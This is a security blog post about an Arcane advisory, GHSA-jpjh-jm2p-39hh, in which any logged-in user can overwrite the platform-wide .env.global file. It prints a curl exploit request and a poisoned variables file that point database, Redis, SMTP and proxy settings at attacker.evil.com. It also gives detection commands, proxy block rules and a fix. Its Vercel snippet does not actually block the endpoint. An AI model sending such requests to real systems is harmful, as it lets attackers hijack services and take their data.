Arcane's Global Variables Endpoint Has Zero Auth — And It Writes to Every Project
CVE GHSA-jpjh-jm2p-39hh: Arcane's PUT endpoint for global environment variables has no authorization check, letting any authenticated user overwrite .env.global and inject variables into every project's compose file.
Why This Should Scare You If You Run Arcane
Imagine you're running a self-hosted deployment platform. You've got multiple teams, multiple projects, all sharing infrastructure. Now imagine any authenticated user — not an admin, not a privileged service account, just anyone with a login — can silently overwrite the global environment variables that get injected into every single project on the platform.
That's not a hypothetical. That's what just dropped today.
GHSA-jpjh-jm2p-39hh was published today (2026-05-23) and it's about as straightforward as authorization bugs get: a critical endpoint with no permission check. The PUT /api/environments/{id}/templates/variables endpoint in Arcane writes to .env.global — the system-wide environment file used for variable substitution in every project's compose file — and it doesn't verify that the caller is an admin.
This isn't some obscure edge case in a rarely-used feature. This is the global config plane. One API call, and you own the environment of every running service.
What Happened
Arcane is a self-hosted container deployment and management platform. It uses Docker Compose under the hood and provides a web UI and API for managing environments, templates, and deployments. One of its features is global variable management — a centralized .env.global file that provides variable substitution across all project compose files in a given environment.
The vulnerability lives in the PUT /api/environments/{id}/templates/variables endpoint. This endpoint is responsible for writing the contents of .env.global. When called, it overwrites the entire global variables file with whatever payload the caller provides. Those variables then get substituted into every project's docker-compose.yml at deployment time.
Here's the problem: the endpoint checks that you're authenticated (you have a valid session/token), but it does not check that you're an admin or have any elevated privileges. Any regular user who can hit the API can call this endpoint.
The advisory is tracked as GHSA-jpjh-jm2p-39hh. Based on the nature of the flaw — any authenticated user can modify system-wide configuration affecting all projects — this is a critical severity issue. It's a textbook broken access control vulnerability (OWASP A01:2021).
The discovery timeline is tight: published today, which means if you're running Arcane in production, you need to act now, not next sprint.
Technical Deep-Dive: How the Attack Works
Let's break down what's happening at the code level. In a properly secured application, an endpoint that modifies global system state should have middleware or guards that verify the caller's role. Here's what a vulnerable pattern looks like — this is a simplified representation of the issue:
// Vulnerable: only checks authentication, not authorization
router.put('/api/environments/:id/templates/variables',
authMiddleware, // ✓ Checks if user is logged in
// Missing: adminMiddleware or role check
async (req, res) => {
const { id } = req.params;
const { variables } = req.body;
// Writes directly to .env.global — no permission check
await writeGlobalEnvFile(id, variables);
return res.json({ success: true });
}
);The authMiddleware confirms the request has a valid session. But there's no adminMiddleware, no role check, no permission verification. The function just writes.
Now here's what an attacker does with this. Any authenticated user — even one with the lowest privilege level — can craft a request like this:
curl -X PUT \
https://arcane.internal/api/environments/1/templates/variables \
-H "Authorization: Bearer <any-valid-user-token>" \
-H "Content-Type: application/json" \
-d '{"variables": "DATABASE_URL=postgresql://attacker.evil.com:5432/exfil\nREDIS_URL=redis://attacker.evil.com:6379\nSECRET_KEY=attacker-controlled-value"}'That single request overwrites .env.global. The next time any project deploys (or restarts, or scales), it picks up these poisoned variables.
The root cause is a missing authorization check — the distinction between authentication ("who are you?") and authorization ("are you allowed to do this?"). This is Security 101, but it's also one of the most common vulnerabilities in web applications because developers often conflate the two. They add auth middleware and assume the job is done.
What makes this particularly dangerous is the blast radius. This isn't "user A can read user B's data." This is "user A can modify the runtime configuration of every service on the platform." The .env.global file feeds into compose variable substitution, meaning the attacker controls:
- Database connection strings (redirect traffic to attacker-controlled databases)
- API keys and secrets (replace with attacker's keys to intercept third-party API calls)
- Service URLs (point internal services at malicious endpoints)
- Feature flags and configuration values
Here's what a poisoned .env.global might look like after exploitation:
# .env.global — attacker-modified
DATABASE_URL=postgresql://attacker.evil.com:5432/mirror
REDIS_URL=redis://attacker.evil.com:6379
SMTP_HOST=smtp.attacker.evil.com
SMTP_USER=capture@attacker.evil.com
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=attacker-controlled
INTERNAL_API_URL=https://proxy.attacker.evil.comEvery project that references ${DATABASE_URL} in its compose file now connects to the attacker's database. Every email goes through the attacker's SMTP server. Every AWS call uses the attacker's credentials (or fails, causing denial of service).
The attack is also silent. There's no notification to admins that global variables changed. Unless you have audit logging on this endpoint (and given it lacks auth checks, I'd bet it lacks audit logging too), you won't know until services start behaving strangely.
One more edge case worth considering: an attacker doesn't have to be obvious. They could make subtle changes — slightly modifying a timeout value to cause intermittent failures, or adding a new variable that gets picked up by a specific service's configuration. Subtle poisoning is harder to detect than wholesale replacement.
How to Detect If You're Affected
First, check if you're running Arcane at all and whether the endpoint is exposed. You can test this directly:
# Test with a non-admin user token — if this returns 200, you're vulnerable
curl -s -o /dev/null -w "%{http_code}" \
-X PUT \
https://your-arcane-instance/api/environments/1/templates/variables \
-H "Authorization: Bearer <non-admin-user-token>" \
-H "Content-Type: application/json" \
-d '{"variables": ""}'If you get a 200 or 204 back with a non-admin token, you're vulnerable. A 403 or 401 means the authorization check is in place. Be careful with this test — sending an empty string might wipe your global variables. Use a GET request first to back up the current state, or test against a staging instance.
Check your access logs for any unexpected PUT requests to this endpoint:
# Search nginx/reverse proxy access logs for hits on the vulnerable endpoint
grep -E "PUT.*/api/environments/[0-9]+/templates/variables" /var/log/nginx/access.log
# Check if any non-admin users have hit this endpoint
# Cross-reference the IPs/tokens with your user databaseIf you find hits from non-admin users, assume compromise. Check the current contents of .env.global against your expected values. Any discrepancy means someone may have already exploited this.
Also review your Arcane application logs for any writes to this endpoint. If the application logs request metadata, look for user IDs that shouldn't have admin access making PUT calls to template variable endpoints.
Impact Analysis
The blast radius here is platform-wide. Anyone running Arcane as a multi-tenant or multi-team deployment platform is affected. A single compromised or malicious low-privilege user account can modify the runtime environment of every project.
The attack chains possible from this are severe:
- Data exfiltration: Redirect database connections to attacker-controlled servers that mirror and forward traffic
- Credential theft: Replace secret values with attacker-controlled ones, then monitor what services send to those endpoints
- Supply chain poisoning: Modify internal service URLs to point at malicious proxies that inject code or modify responses
- Denial of service: Set invalid values for critical variables, causing all services to fail on next deployment
- Lateral movement: If any global variable contains credentials for external systems, the attacker now has those credentials
The severity is amplified by the fact that this is a write vulnerability, not just a read. The attacker isn't just viewing secrets — they're replacing them. And because .env.global affects all projects, a single exploitation event compromises the entire platform's integrity.
For organizations using Arcane to manage production deployments, this is a "stop everything and patch" situation. The trust boundary between regular users and system-wide configuration has been completely eliminated.
What to Do About It Right Now
First priority: check if a patched version is available in the Arcane repository. The advisory (GHSA-jpjh-jm2p-39hh) should reference the fix commit or patched release. Upgrade immediately if a fix exists.
If no patch is available yet, here's your immediate mitigation. Block the endpoint at your reverse proxy layer. Here's the nginx config:
# Block non-admin access to global variables endpoint
# Add this to your Arcane server block
location ~ ^/api/environments/[0-9]+/templates/variables$ {
# Only allow requests from admin IP ranges or with specific headers
# Adjust to your admin access pattern
allow 10.0.0.0/8; # Internal admin network
deny all;
proxy_pass http://arcane_backend;
}This is a blunt instrument — it blocks all external access to the endpoint — but it's effective as a stopgap.
If you're running behind Cloudflare, create a WAF rule:
# Cloudflare WAF Custom Rule
# Action: Block
# Expression:
(http.request.uri.path matches "^/api/environments/[0-9]+/templates/variables$" and http.request.method eq "PUT" and not ip.src in {10.0.0.0/8})For Vercel deployments (less common for self-hosted tools like Arcane, but if you're proxying through it), add to your vercel.json:
{
"headers": [
{
"source": "/api/environments/:id/templates/variables",
"headers": [
{ "key": "X-Robots-Tag", "value": "noindex" }
]
}
],
"rewrites": []
}Though honestly, for this type of vulnerability, the real fix is at the application layer. If you have access to the Arcane source code (it's open source), here's what the fix should look like:
// Fixed: adds admin authorization check
router.put('/api/environments/:id/templates/variables',
authMiddleware,
adminMiddleware, // ← This is what was missing
async (req, res) => {
const { id } = req.params;
const { variables } = req.body;
// Now only admins can write global variables
await writeGlobalEnvFile(id, variables);
// Bonus: add audit logging
await auditLog(req.user.id, 'global_variables_updated', { environmentId: id });
return res.json({ success: true });
}
);After patching, verify the fix works by attempting the PUT request with a non-admin token and confirming you get a 403:
# Verification: this should now return 403
curl -s -o /dev/null -w "%{http_code}" \
-X PUT \
https://your-arcane-instance/api/environments/1/templates/variables \
-H "Authorization: Bearer <non-admin-user-token>" \
-H "Content-Type: application/json" \
-d '{"variables": "TEST=verification"}'
# Expected: 403Also: review your .env.global contents right now. Compare against what you expect. If anything looks off, you may have already been exploited.
The Bigger Picture
This vulnerability is a textbook example of a pattern I see constantly in self-hosted platform tools: the developers build authentication, ship it, and forget that authorization is a separate concern. It's especially common in projects that start as single-user tools and grow into multi-tenant platforms. The original developer didn't need role checks because they were the only user.
Look, broken access control has been the #1 vulnerability category in the OWASP Top 10 since 2021. It's not exotic. It's not clever. It's just... missing code. A missing middleware call. A missing if statement. And yet it keeps happening because authorization logic is boring to write, easy to forget, and invisible when it's absent — until someone exploits it.
Takeaway for anyone building platform tools: Every endpoint that modifies shared or global state needs explicit authorization checks. Not just authentication. Not just "is this user logged in." The question is "does this specific user have permission to perform this specific action on this specific resource?" If you can't answer that question with code at every endpoint, you have this bug somewhere in your application. It's just a matter of time before someone finds it.
Related posts
- Security
How I got free cinema credit by ordering -2 popcorns
A missing input validation on M-Tix Cinema XXI's food ordering API let me increase my account balance by submitting negative quantities. No tools needed — just a browser.
May 19, 2026 · 6 min - Security
How I analyze API security headers in 30 seconds
A quick checklist for reading HTTP response headers and spotting security misconfigurations before you even look at the response body.
May 18, 2026 · 7 min - Security
Common auth mistakes I find when reverse-engineering APIs
After years of poking at APIs that weren't meant to be poked at, these are the auth patterns that break most often — and why.
May 18, 2026 · 9 min